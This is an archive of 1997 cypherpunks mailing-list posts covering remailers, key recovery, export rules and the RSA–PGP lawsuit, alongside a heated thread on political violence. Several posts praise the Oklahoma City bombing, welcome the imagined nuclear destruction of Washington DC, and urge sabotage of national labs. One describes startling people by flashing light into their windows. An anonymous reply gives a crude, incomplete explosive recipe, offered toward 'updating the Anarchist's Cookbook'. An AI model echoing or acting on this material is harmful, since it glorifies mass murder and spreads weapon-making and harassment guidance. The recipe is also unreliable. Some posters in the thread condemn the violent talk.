hidden   remailer at hidden.net              #__-+####     2:32:43  76.02%
reno     middleman at cyberpass.net          .+_.-   +-    1:47:08  70.50%
mix      mixmaster at remail.obscura.com     ---.-         7:31:14  28.09%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien






From trei at process.com  Mon May 12 07:51:23 1997
From: trei at process.com (Peter Trei)
Date: Mon, 12 May 1997 22:51:23 +0800
Subject: Applauding Violence (was: Re: Wine Politics Again! (fwd))
Message-ID: <199705121427.HAA27541@toad.com>


> Date:          Sun, 11 May 1997 04:07:36 +0200 (MET DST)
> Subject:       Re: Wine Politics Again! (fwd)
> To:            cypherpunks at toad.com
> From:          nobody at replay.com (Anonymous)
> Organization:  Replay and Company UnLimited
> Reply-to:      nobody at replay.com (Anonymous)


Froomkin wrote:
>> On Fri, 9 May 1997, Tim May wrote:
>>Every day that passes, I'm more convinced that McVeigh did the right
>>thing. Some innocents died, but, hey, war is hell. Broken eggs and all
>>that.

> It ill behooves participants in a democracy to either advocate or even
> tolerate or even cluck sympathetically at mass murder for political ends. 
> This way lies Bosnia.

> A. Michael Froomkin

Agreed. I'm getting progressively more turned off by
Tim's developing survivalist/confrontationist stance. I fear that
journalists and other casual readers will mistake his positions
for common 'cypherpunk' viewpoints. 

The type of armed, ingrained bitterness towards all aspects and
manifestations of government he displays is hazardous to himself
personally; I can envisage a simple traffic stop turning violent.

Worse, he's demonizing his opponent. This is counter-productive.
It's better to try to understand the actual underlying goals of 
your opponent - it gives you a much better chance at turning
him into your ally, or avoiding a conflict if you cannot do that.
If he can be neither turned nor avoided, the minimum action to
change the status quo should be used.

If Tim truly maintains that a 'war' is underway between people
like him and the government, than he would be in no position 
to complain if Clinton's men treated his little hilltop retreat
as an enemy outpost. 

For all his pride in it's defensibility, they could take it out 
in seconds if respect for due process, the Constitution, and a 
real concern for the lives of innocents did not stop them.

The policies of the current gang in power are bad, and may well
get worse. But terrorism is not yet an appropriate response, and
I pray that it never will be.


Peter Trei
trei at Process.com







From emergent at eval-apply.com  Mon May 12 09:42:17 1997
From: emergent at eval-apply.com (ET)
Date: Tue, 13 May 1997 00:42:17 +0800
Subject: Unexportable crypto
Message-ID: <199705121618.MAA09197@jazz.cape.com>


A simple substitution cypher has a keyspace of
26! ~ 2**88
Isn't this too strong to export?






From tcmay at got.net  Mon May 12 10:02:42 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 01:02:42 +0800
Subject: The Interlinked Cypherpunks Lists?
Message-ID: 



I've recently had some of my articles sent to "cypherpunks at cyberpass.net"
bounce (more precisely: "... Deferred:
Connection timed out with rigel.cyberpass.net. Warning: message still
undelivered after 4 hours").

And I've received no Cypherpunks list traffic more recently dated than
Saturday morning. (I'm subscribed to cypherpunks at cyberpass.net.)

I surmise that something is wrong. So I've subscribed to one of the
alternates, cypherpunks at algebra.com.

Some thoughts:

* Is it possible for the interlinked lists to send out announcements of
list problems to subscriber of all such lists? (Each list owner could do a
periodic "who cypherpunks" of the other lists, then use this list to send a
message if a problem comes up. More sophisticated cross-processing could
eliminate duplicates, etc.)

* Alternatively, if one of the sites goes down, such as
"cypherpunks at cyberpass.net" seems to have done, could the other sites
automagically pick up the task of distributing articles until the site
comes back up?

* How feasible is it to have a single "virtual subscription address" which
gets traffic from one of the various list sites? (To avoid having to
subscribe to two or more lists and thus getting duplicates.)

I'll resubmit a few of my recent articles to cypherpunks at algebra.com.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 12 10:12:38 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 01:12:38 +0800
Subject: Camera Hacking
Message-ID: 



(I sent this article to cypherpunks at cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks at algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)


>Date: Sun, 11 May 1997 21:37:24 -0800
>To: cypherpunks at toad.com
>From: Tim May 
>Subject: Re: Camera Hacking
>Cc:
>Bcc:
>X-Attachments:
>
>At 9:02 PM -0800 5/10/97, Alan Olsen wrote:
>
>>The best weapon against a 35mm camera is a flash from a camera.  Aim at the
>>lens and fire.  (Only if they are looking through it.)  The screams are
>>worth it.  (One of the few joys of my high school photography class.)
>
>Reminds me of an old astronomy club trick.
>
>Take any reasonble aperture telescope. Use a reasonable magnification for
>the target such that target window fills the field of view. Place a
>standard electronic flash where the eye normally is. (Increased efficiency
>is gotten by arranging for as much of the output to go into the eyepieces
>as possible...this can be done with an "integrating sphere," e.g., an
>aluminum foil sphere with a single exit at the eyepiece.)
>
>After dark, aim the telescope in the window of your victim. Best results
>are gotten if they have the lights off, e.g., while they're watching
>television.
>
>Trigger the flash.
>
>The startled reactions as their room fills with a flash of light are
>interesting. Some of them may even think they're under nuclear attack.
>
>This of course works best from afar. Apartment buildings with views of
>other apartment buildings, for example. Don't this from the bushes, or
>even from across a street.
>
>--Tim May
>
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 12 10:19:57 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 01:19:57 +0800
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
Message-ID: 



(I sent this article to cypherpunks at cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks at algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)




>Date: Sun, 11 May 1997 19:58:02 -0800
>To: cypherpunks at cyberpass.net
>From: Tim May 
>Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
>Cc:
>Bcc:
>X-Attachments:
>
>At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>>On Sat, 10 May 1997, Kent Crispin wrote:
>>
>>> I would expect a "cypherpunk riot" to be a little more aimed at
>>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>>Tim was mostly talking about nuking the District of Columbia.  You will
>>note that that is an artificial community filled entirely with politicians
>>and their sycophants.  It is sort of like the train that Ayn has blow up
>>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>>there. (Well a few tourists and Ethiopian immigrants who don't know better
>>but you can't win 'em all.)  Note also that he is hoping others will do
>>the deed.  He's not volunteering.
>>
>>There will be a few unfortunate explosions in the world over the next few
>>years so I'm sure Tim is just hoping for a beneficial target selection.
>
>Indeed. Beneficial target selection. Though I think it much more likely
>that the U.S.-recognized capital of the Zionist entity will be a more
>likely target to undergo nuclear cleansing. (And even there some innocent
>civilians, both Muslim and Jew, will surely be hastened to their meetings
>with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
>Bear. No accounting for wanting to live in near Ground Zero...religion is
>a strange thing.)
>
>What I think a careful perusal of my comments about D.C. will reveal is
>that I will not cry for its destruction, and would, all in all, smile a
>broad grin if I wake up some morning to hear on CNN that D.C. is no more.
>It's a free country, so I can express such happy thoughts about such
>corruptions being cleansed.
>
>(As for crypto and Cypherpunks, anyone who is honest must admit that
>strong crypto and Cypherpunks are helping to make this a more plausible
>scenario. The bullshit that strong crypto is only for "democratic forces"
>is too naive to even comment on. Strong crypto is to give a handful of
>people the power to undermine statist authorities and imperial capitals.)
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 12 10:22:06 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 01:22:06 +0800
Subject: Sabotaging the U.S. Military-Industrial War Machine
Message-ID: 



(I sent this article to cypherpunks at cyberpass.net, but am getting no
traffic from that site, and some of my messages have bounced. I've
subscribed to cypherpunks at algebra.com and will resubmit some of my recent
articles to that address. It would be nice if the "interlinked lists"
system could work to handle outages of sites, and not just mutual
distributions of articles. Any ideas?)

>Date: Sun, 11 May 1997 19:39:47 -0800
>To: Kent Crispin , cypherpunks at cyberpass.net
>From: Tim May 
>Subject: Sabotaging the U.S. Military-Industrial War Machine
>Cc:
>Bcc:
>X-Attachments:
>
>
>(Contrary to rumors, I _do) have a live outside of the Net. I've been away
>this weekend. I probably can't, or won't, respond to all of the comments
>about my recent posts.)
>
>At 12:57 PM -0800 5/10/97, Kent Crispin wrote:
>
>>I would expect a "cypherpunk riot" to be a little more aimed at
>>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>>
>
>Sorry. I misunderstood you to be speaking of the "fouling of one's own
>nest" (or whatever the ebonics translation might be) riots of recent years.
>
>You are correct that a kind of riot in cyberspace is possible. However, I
>think the attacks (not riots) will not be oriented toward mayhem (no pun
>intended) toward one's neighbors, but towards destablization of
>democracies and military-industrial facilities.
>
>In particular, various attacks against the national labs.
>
>And technologies to make the "force of democracy" lose their teeth.
>
>Subscribe to the Info-War news list for more, although they are
>unfortunately biased toward the U.S. propaganda machine. (It was by some
>of them that I was characterized as an "information terrorist," a label I
>view as an honor.).
>
>(Hint: I was quoted/interviewed in oppostion to the Pentagon's
>"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
>not all of which was inclued in the BBC programme, was that strong crypto
>would and should be used to destablilze U.S. efforts to dominate the New
>World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
>Alamos, and so on, I would press the button tonight. The U.S. military
>machine is vastly more powerful than it needs to be meet the threat of
>invasion of our shores (hint: even Hitler and Tojo were not real threat to
>U.S. shores) and whatever is needed should be done to destabilize and
>sabotage the U.S. industrial war machine.)
>
>The spread of anonymous remailer is already being used to break the back
>of the U.S. war propaganda system. (Given that Lowell Wood's crimes are
>being liberated and sent to non-U.S. sites for their use in defeating the
>war machine).
>
>Cypherpunks stand for making the United States just another bunch of
>contiguous geographic regions.
>
>--Tim May
>
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lharrison at mhv.net  Mon May 12 10:23:44 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Tue, 13 May 1997 01:23:44 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <1.5.4.32.19970511032328.0088aeb0@pop.pipeline.com>
Message-ID: <3.0.1.32.19970512130018.006f39c0@pop.mhv.net>


-----BEGIN PGP SIGNED MESSAGE-----

.................
RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
RSA Data Security has filed a lawsuit against Pretty Good Privacy (PGP),
alleging that PGP failed to comply with the terms of a licensing agreement
that RSA had signed with Lemcom, the company with which PGP merged last
year.  RSA says Lemcom had "no ability to transfer rights to the source code
for the Licensed Product to an OEM Customer or anyone else."  When informed
that its license agreement to RSA technology was canceled, "PGP demanded we
sue them in order to exercise audit rights clearly laid out in the
agreement," says RSA President Jim Bidzos.  "Their behavior makes us wonder
what they have to hide."  Meanwhile, PGP says the products it's developing
don't rely on the RSA encryption scheme.  "Those new products will be
encryption-algorithm independent," says PGP VP Robert Kohn, which will
"break RSA monopoly on this technology."  (InfoWorld Electric 9 May 97)
.......................


************************************************************
Edupage, 11 May 1997.  Edupage, a summary of news about information
technology, is provided three times a week as a service by Educom, a
Washington, D.C.-based consortium of leading colleges and universities
seeking to transform education through the use of information technology.
************************************************************




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From alice0 at hotmail.com  Mon May 12 10:30:23 1997
From: alice0 at hotmail.com (Monique Lamont)
Date: Tue, 13 May 1997 01:30:23 +0800
Subject: whine politics again
Message-ID: <199705111833.LAA28472@f33.hotmail.com>


on the subject of wine-importing restrictions in florida:

tcmay wrote:
> Chiles and his co-conspirators should be shot for high crimes > against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> 
> Every day that passes, I'm more convinced that McVeigh did the right > thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all > that.

oh yaah.  you betcha.

it's illegal to ship wine to floridans now, so therefore it is okay 
to execute the responsible officials and blow up innocents.

no doubt there are hundreds of cypherpunks out there nodding
their heads in blithe agreement at this point.

HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
while you are out, stop by the Jiffy Lube and get your
common human decency refilled.

love,

alice0



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From jimbell at pacifier.com  Mon May 12 10:32:19 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 01:32:19 +0800
Subject: Money orders, debit cards, ...
Message-ID: <199705112138.OAA21281@mail.pacifier.com>


At 03:11 5/11/97 -0700, Greg Broiles wrote:
>At 02:12 AM 5/11/97 -0700, David Wagner wrote:
>>(Note: contents of calls are protected by law, but traffic analysis
>>specifically is allowed, far as I can tell.)
>
>Correct. There is no (federal) constitutionally protected privacy interest in
>traffic-analysis data about phone calls, because (so the argument goes) that
>data is voluntarily disclosed to a third party (the phone company).

That argument is bullshit, however.  Getting technical about it, you
"disclose" your voice to the phone company so that it can digitize it and
send it to its destination.  If that argument were valid, voice would be
unprotected as well.

Chances are excellent that this odd position is a holdover from a time
(1920's) when many if not most telephone calls were manually switched, and
you had to tell the (human) operator the number you wanted to call.  That
act of telling was probably considered "disclosure."   However, logically
the adoption of a system of automatic switching (which doesn't require
recording the number called; for many decades such recording wasn't even
done because it was economically impractical except for charged LD) would
eliminate the presumption that the number was already "disclosed."

Since phone company operations subsequent to call takedown do not require
the recording of destination numbers, any more than they need to record
voice, the constitutional treatment of these two pieces of information
should be identical.

In any case, constitutional rights should not depend on (or be limited by)
the state of technology 70 years ago.


Jim Bell
jimbell at pacifier.com






From graham.hughes at resnet.ucsb.edu  Mon May 12 10:36:00 1997
From: graham.hughes at resnet.ucsb.edu (Graham C. Hughes)
Date: Tue, 13 May 1997 01:36:00 +0800
Subject: Unexportable crypto
In-Reply-To: <199705121618.MAA09197@jazz.cape.com>
Message-ID: <87g1vsbokk.fsf@A-abe.resnet.ucsb.edu>


-----BEGIN PGP SIGNED MESSAGE-----

"ET"  writes:

> A simple substitution cypher has a keyspace of
> 26! ~ 2**88
> Isn't this too strong to export?

No.  ITAR restricts key *size*, not keyspace.  A substitution cypher
has a key size of 2**4 <= 26 <= 2**5, you're not going to get the
Feds pissed off at you about it.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

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j62owOWHZBk=
=Brxy
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From shamrock at netcom.com  Mon May 12 10:52:14 1997
From: shamrock at netcom.com (Lucky Green)
Date: Tue, 13 May 1997 01:52:14 +0800
Subject: Disinformation in L.A.
Message-ID: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:

>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.

There are worse ways of dying than being vaporized. In fact, there are
worse ways of living than dying. No, I do not believe this to currently be
the case. In my book, the US is presently the best place to live. As does
Tim. Still, I do accept anonymous email. Especially if it contains travel
blackout days.

Seriously, I doubt anybody on this list is going to do something violent.
That doesn't mean I think that nobody in the world is willing to nuke DC. I
am told that quite a few Russian nukes are unaccounted for. Just for the
record, I believe that it considerably more likely for New York City to be
nuked than DC.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From apb at iafrica.com  Mon May 12 10:56:06 1997
From: apb at iafrica.com (Alan Barrett)
Date: Tue, 13 May 1997 01:56:06 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970511024334.53652@bywater.songbird.com>
Message-ID: 


On Sun, 11 May 1997, Kent Crispin wrote:
> In the multiple recipient case, therefore, the master 
> key is potentially used quite frequently, and hence much more 
> exposed.  There are many other differences: I won't try to go into 
> detail here.

Good point.

I happen to think that using the master key to decrypt documents is better
practice than using the master key to obtain copies of other keys, but I
can see both sides of this argument.

> > > What part of the organization that is Acme Corp is authorized to know
> > > this particular bit of information?
> > 
> > Whatever the answer to the latter question is, it's the same in the CAK
> > case as it is in the "encrypt to a special coprorate key" case.
> 
> Not if the encryption client encrypts to different company recipients
> depending on a policy (which one might want if one tries to limit the 
> compromised master key problem described above.)  Then the policy, 
> contrary to what you state below, must be reflected in the client.

You are repeating your fallacy of assuming that the key safe (KS) case has
one policy for all users and the multiple recipients (MR) case has
different policies for different users.  The truth is that the two issues
(which model to use, and how many different policies to make visible to
the users' software) are orthogonal.  You can have KS with a different key
safe for each user, and you can have MR with the same extra recipients for
each user.

> > > Because some of the employees are idiots you want this
> > > built automatically into the application they are using for
> > > encryption/email/whatever.  How does this software know what policy
> > > is appropriate for which employee?  How is that policy distributed?
> > > What is the interface that allows a policy to be defined?  How do you
> > > protect the policy definition from subversion?
> > 
> > The same problems arise in the CAK case.  And the same solution: you
> > make the user's software do the same thing every time, and implement the
> > policy elsewhere.
> 
> Sigh.  The situations are really quite different.  In the KS
> case the policy never impacts the software; in the MR case I don't 
> think you can avoid it.

Sigh.  The same fallacy again.

In the KS case, the software must know which key safe to use and how to
secure and authenticate access to the key safe.

In the MR case, the software must know which extra recipients to add, and
the corresponding public keys.

In both cases, the software is affected to some minimum extent.  In both
cases, you can choose to make the software more complex by adding more
policy knowledge.  In neither case are you forced to add more than the
minimum amount of policy information to the software.

> > > Access to the key-safe is critical, of course, but it can be made very
> > > secure -- a special-purpose piece of hardware that requires passwords
> > > from n out of m key czars before access is granted, for example.
> > > Or the contents of the key safe can be encrypted via keys escrowed
> > > through a secret sharing mechanism
> > 
> > The same problems and solutions apply in both the CAK case and in the
> > "corporate key as extra crypto recipient" case.
> 
> Not at all. The corporate master key is used to decrypt documents in the 
> MR case; in the KS case the master key is used to get to the key 
> database.

What I meant was, you can make n-of-m hardware stuff for both cases.
Surely you don't disagree with that?

> >   - With CAK, every time a user creates a new key, the user's software
> >     needs to talk to teh key safe.  This needs a secure channel, which
> >     raises further authentication problems (how does the user know that
> >     he's not talking to a fake key safe).  These don't arise in the
> >     non-CAK case.
> 
> Not so.  You have to exactly the same issue -- how does the user find 
> out the master key to encrypt to?

Finding out which key to encrypt to in the MR case is analagous to finding
out which key safe to talk to in the KS case.  Securing and authenticating
the channel to the key safe in the KS case is an extra issue that does not
have a counterpart in the MR case.

--apb (Alan Barrett)






From tcmay at got.net  Mon May 12 10:59:44 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 01:59:44 +0800
Subject: Crypto Makes Nuclear Disinfectants Easier to Deploy
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: 


At 3:25 PM -0800 5/10/97, Duncan Frissell wrote:
>On Sat, 10 May 1997, Kent Crispin wrote:
>
>> I would expect a "cypherpunk riot" to be a little more aimed at
>> cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>
>Tim was mostly talking about nuking the District of Columbia.  You will
>note that that is an artificial community filled entirely with politicians
>and their sycophants.  It is sort of like the train that Ayn has blow up
>in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
>there. (Well a few tourists and Ethiopian immigrants who don't know better
>but you can't win 'em all.)  Note also that he is hoping others will do
>the deed.  He's not volunteering.
>
>There will be a few unfortunate explosions in the world over the next few
>years so I'm sure Tim is just hoping for a beneficial target selection.

Indeed. Beneficial target selection. Though I think it much more likely
that the U.S.-recognized capital of the Zionist entity will be a more
likely target to undergo nuclear cleansing. (And even there some innocent
civilians, both Muslim and Jew, will surely be hastened to their meetings
with Allah, He Whose Name May Not be Expressed (YHWH), or the Great Honey
Bear. No accounting for wanting to live in near Ground Zero...religion is a
strange thing.)

What I think a careful perusal of my comments about D.C. will reveal is
that I will not cry for its destruction, and would, all in all, smile a
broad grin if I wake up some morning to hear on CNN that D.C. is no more.
It's a free country, so I can express such happy thoughts about such
corruptions being cleansed.

(As for crypto and Cypherpunks, anyone who is honest must admit that strong
crypto and Cypherpunks are helping to make this a more plausible scenario.
The bullshit that strong crypto is only for "democratic forces" is too
naive to even comment on. Strong crypto is to give a handful of people the
power to undermine statist authorities and imperial capitals.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Mon May 12 11:02:26 1997
From: tcmay at got.net (Tim May)
Date: Tue, 13 May 1997 02:02:26 +0800
Subject: Sabotaging the U.S. Military-Industrial War Machine
In-Reply-To: 
Message-ID: 



(Contrary to rumors, I _do) have a live outside of the Net. I've been away
this weekend. I probably can't, or won't, respond to all of the comments
about my recent posts.)

At 12:57 PM -0800 5/10/97, Kent Crispin wrote:

>I would expect a "cypherpunk riot" to be a little more aimed at
>cyberspace than real-world suburban neighborhoods.  Wouldn't you?
>

Sorry. I misunderstood you to be speaking of the "fouling of one's own
nest" (or whatever the ebonics translation might be) riots of recent years.

You are correct that a kind of riot in cyberspace is possible. However, I
think the attacks (not riots) will not be oriented toward mayhem (no pun
intended) toward one's neighbors, but towards destablization of democracies
and military-industrial facilities.

In particular, various attacks against the national labs.

And technologies to make the "force of democracy" lose their teeth.

Subscribe to the Info-War news list for more, although they are
unfortunately biased toward the U.S. propaganda machine. (It was by some of
them that I was characterized as an "information terrorist," a label I view
as an honor.).

(Hint: I was quoted/interviewed in oppostion to the Pentagon's
"info-warriors" in a BBC television show called "The I-Bomb." My thesis,
not all of which was inclued in the BBC programme, was that strong crypto
would and should be used to destablilze U.S. efforts to dominate the New
World Order. If an I-bomb could destroy the Pentagon, Livermore, Los
Alamos, and so on, I would press the button tonight. The U.S. military
machine is vastly more powerful than it needs to be meet the threat of
invasion of our shores (hint: even Hitler and Tojo were not real threat to
U.S. shores) and whatever is needed should be done to destabilize and
sabotage the U.S. industrial war machine.)

The spread of anonymous remailer is already being used to break the back of
the U.S. war propaganda system. (Given that Lowell Wood's crimes are being
liberated and sent to non-U.S. sites for their use in defeating the war
machine).

Cypherpunks stand for making the United States just another bunch of
contiguous geographic regions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at REPLAY.COM  Mon May 12 11:04:18 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 13 May 1997 02:04:18 +0800
Subject: Disinformation in L.A.Re: Disinformation in L.A.
Message-ID: <199705111756.TAA20093@basement.replay.com>


> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.

Potassium nitrate is a natural byproduct of the decay of organic material.
It is highly soluable in warm water, but at low temperatures (<10C) will
quickly precipitate out and be displaced in solution by other salts, such
as sodium chloride.  Extract by evaporation of water from chilled solution.
Mix seven parts potassium nitrate with three parts carbon (coal).  Compact
and ignite to produce explosion.

This has been known for centuries.  The Chinese used this mainly for
pyrotechnic displays and entertainment, however the Europeans have found
more political applications of the technology.






From paul at fatmans.demon.co.uk  Mon May 12 11:05:38 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 13 May 1997 02:05:38 +0800
Subject: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: 




On Sat, 10 May 1997, TruthMonger wrote:

>   Of course, you have your own definintion of innocenent bystanders,
> while others may have different definitions.

This is certainly the case, but we must be careful not to extend this and 
say that the actual "according to hoyle" definition of innocence is 
subjective.

Certainly I believe that most of the group the media refer to as 
"innocent bystanders" are criminals in a true sense. In fact, I would go 
so far as to say that less than 1 in a thousand of these people are 
probably *idealogically* pure but we must be careful about allowing 
ourselves any notion of thought crime.

>   Is someone who is in the military because of forced enscription at
> the point of a gun (with threats of imprisonment if they refuse) an 
> innocent bystander? When an invading force attacks your home, do you
> only shoot back at those who are there willingly?

Absoltely, I believe that those who allow themselves to be threatened and 
coereced into joining the military because of enscription are criminal, 
because they allow their own cowardice to control them. They make a 
choice to save their own ass by participating in immoral violent acts by 
a government which believes it has rights over it`s citizens lives and 
freedoms. 

Question: Where does the US prescedent for military conscription come from?
	  Is there nothing in the constitution which could have been used
	  in a legal challenge?

>   Were the children in the daycare center at the Federal Building
> at OK city innocent bystanders?

More than likely they were, had they lived another 10 or 20 years they 
probably would have been corrupted and brainwashed like all the other paeons.

>   Then why, pray tell, did the government allow them to be placed
> in a building which was known to be a prime target of anti-government
> paramilitary idealists? Were they being used as a "shield" in the
> hopes that their presence would protect the others? Or were they
> there in order to provide sensational fodder for government response
> to the inevitable?

Media fodder would be my guess, there are a number of other reasons but 
sensation fodder shows through in most cases. It is observable within the 
UK that hospitals and schools are often placed close to government 
buildings, eg. In London there is a hospital directly opposite the houses 
of parliament.

> > I know that critical times call for critical action, but I just don't
> > expect from anarchist libertarian cypherpunks that they would "throw
> > caution to the wind" (so to speak) and forget how to think about events and
> > actions in terms of specifics and utter precision.
> 
>   The fact of the matter is that the government has declared war
> on the freedom and liberty of its citizens and passed draconian
> laws which prevent citizens from defending themselves from 
> government oppression. The government protects those participating
> in its crimes from having to pay a price for their complicity.
>   The government has a ruinous effect on the lives of millions
> of its citizens daily and is responsible for a mountain of deaths
> of "innocent people." Those taking part in the process should be
> made aware that there is a price to pay for their actions.

As I have said I can understand the sentiment behind it, but I have 
several problems with Tim`s "It`s war, innocents die" line, the biggest 
being that for me the defining principle of anarchism is that all crimes 
and all acts are considered alone in relation to the NAP. If I kill one 
genuinely innocent person during a bombing where I kill say 300 MPs I 
have still commited murder and should be treated as such. I`m sure, if I 
were given that chance, I would definitely be tempted to kill the 
innocent to get the criminals but this is merely untempered illogical 
emotion, I would not be worthy of any respect or credibility whatsoever 
if I took that choice and disregarded the rights of the innocent bystander.

>   Should the Allied war against Nazi Germany have not taken place
> because "innocent" lives would be lost? 

Correct, the German people, along with the people of all the allied 
nations, should have turned their armies against their governments and 
ended the notion of state in the western world, the other countries of 
the world would soon have followed suit. Sure, you can say "but after 
the fact, once the war was underway, what was the right thing to do?"
to which I would answer that a. The situation was created by the 
cowardly action of the people in failing to remove their government.
and b. The actions taken were wrong because removal of the german
government directly by its people would not have resulted in the deaths
of thousands of innocent people. 

> Should the French Freedom
> fighters not have fought to free their country from occupation
> because "innocent bystanders" would die in the process?

Certainly, if one is defending ones rights, and an innocent bystander 
gets killed in the process it is a natural reaction to think of yourself 
as innocent. This is the wrong reaction to have. People on this list seem 
to be gravitating towards the school of thought the government allies 
